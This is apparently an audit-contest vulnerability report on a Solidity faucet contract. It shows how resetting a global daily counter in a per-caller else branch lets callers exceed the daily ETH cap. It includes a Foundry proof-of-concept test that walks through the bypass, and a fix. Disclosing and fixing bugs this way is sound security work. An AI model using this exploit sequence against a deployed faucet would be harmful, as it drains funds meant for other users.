Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

M01. DailyDrips Reset in else Allows Daily ETH Cap Bypass

Root + Impact

Description

  • Normal behavior: The contract should track how much Sepolia ETH it has dripped during the current day in dailyDrips and only allow additional drips while dailyDrips + sepEthAmountToDrip <= dailySepEthCap. The dailyDrips counter must only be reset when a new day begins (controlled by lastDripDay), so the daily cap is enforced for the whole day.

  • Specific issue: The function contains an else { dailyDrips = 0; } that resets the global dailyDrips counter whenever the current caller is not eligible for an ETH drip (e.g. hasClaimedEth[caller] == true or sepEthDripsPaused == true). This per-caller branch incorrectly resets a global, per-day counter and enables an attacker to obtain additional ETH drips beyond the intended daily cap by forcing the counter to zero in the middle of the day.

// Root cause in the codebase with @> marks to highlight the relevant section
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
...
} else {
emit SepEthDripSkipped(...);
}
} else {
@> dailyDrips = 0; // Incorrect: resets global daily counter based on individual caller eligibility
}

Risk

Likelihood:

  • When faucet usage progresses during the day and dailyDrips has accumulated but not yet reached dailySepEthCap, ordinary faucet activity will eventually leave the counter in a non-zero state close to the cap.

  • When any address that is already ineligible for ETH (because that address previously claimed ETH) submits a transaction, this else branch executes and clears the daily counter.

Impact:

  • The global daily cap (dailySepEthCap) can be effectively bypassed mid-day, allowing total ETH dripped during the day to exceed the configured cap. This enables attackers or cooperating participants to extract more ETH than intended from the faucet.

  • The faucet’s ETH balance may be depleted faster than expected, reducing availability for legitimate users and undermining trust in the faucet’s limits.

Proof of Concept

pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract PoC is Test {
RaiseBoxFaucet faucet;
address userA = address(0xA1);
address userB = address(0xB1);
address attacker = address(0xC1);
uint256 drip = 0.5 ether;
uint256 dailyCap = 1 ether;
function setUp() public {
// Deploy faucet configured to drip 0.5 ETH and daily cap 1 ETH
faucet = new RaiseBoxFaucet("RB", "RB", 1000 * 10**18, drip, dailyCap);
// Fund the faucet with more than daily cap
vm.deal(address(faucet), 5 ether);
}
function testDailyCapBypass() public {
// Step 1: userA claims; receives a drip (dailyDrips becomes 0.5)
vm.prank(userA);
faucet.claimFaucetTokens();
assertEq(address(userA).balance, drip);
// dailyDrips == 0.5
// Step 2: userB claims; receives a drip (dailyDrips becomes 1.0 == cap)
vm.prank(userB);
faucet.claimFaucetTokens();
assertEq(address(userB).balance, drip);
// dailyDrips == 1.0 (reached cap)
// At this point, normal callers should be blocked for further ETH drips.
// Step 3: an ineligible address (one that already claimed) calls and triggers the `else` branch.
// Simulate userA calling again (userA hasClaimedEth == true) - this goes to else block and resets dailyDrips
vm.prank(userA);
faucet.claimFaucetTokens(); // no ETH should be dripped, but the contract's `else` resets dailyDrips = 0
// Step 4: attacker now calls and receives another drip even though original daily cap was reached.
vm.prank(attacker);
faucet.claimFaucetTokens();
assertEq(address(attacker).balance, drip);
// Check: total ETH dripped during the day now exceeds the intended dailyCap of 1 ether
// Observed drips: userA (0.5) + userB (0.5) + attacker (0.5) = 1.5 > dailyCap
}
}

Explanation:

  1. userA and userB each perform a first-time claim and receive 0.5 ETH each, so dailyDrips reaches 1.0 ETH, which equals the daily cap.

  2. When userA calls again, hasClaimedEth[userA] is true, so the code takes the outer else branch and executes dailyDrips = 0.

  3. The attacker can then call claimFaucetTokens() and receive another 0.5 ETH drip, despite the daily cap having been reached earlier. The cumulative dripped ETH (1.5 ETH) exceeds dailySepEthCap (1 ETH).

This demonstrates that resetting dailyDrips in the else branch permits draining more ETH than the daily cap allows.

Recommended Mitigation

Short explanation: dailyDrips must be reset only when the day changes (i.e., when currentDay > lastDripDay) — not in any per-caller else path. Remove the else { dailyDrips = 0; } block and rely solely on the day-based reset.

- remove this code
- } else {
- dailyDrips = 0;
- }
+ add this code
+ // Do not reset dailyDrips in per-caller else branches.
+ // dailyDrips must only be reset when a new day is detected:
+ // currentDay = block.timestamp / 24 hours;
+ // if (currentDay > lastDripDay) { lastDripDay = currentDay; dailyDrips = 0; }
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.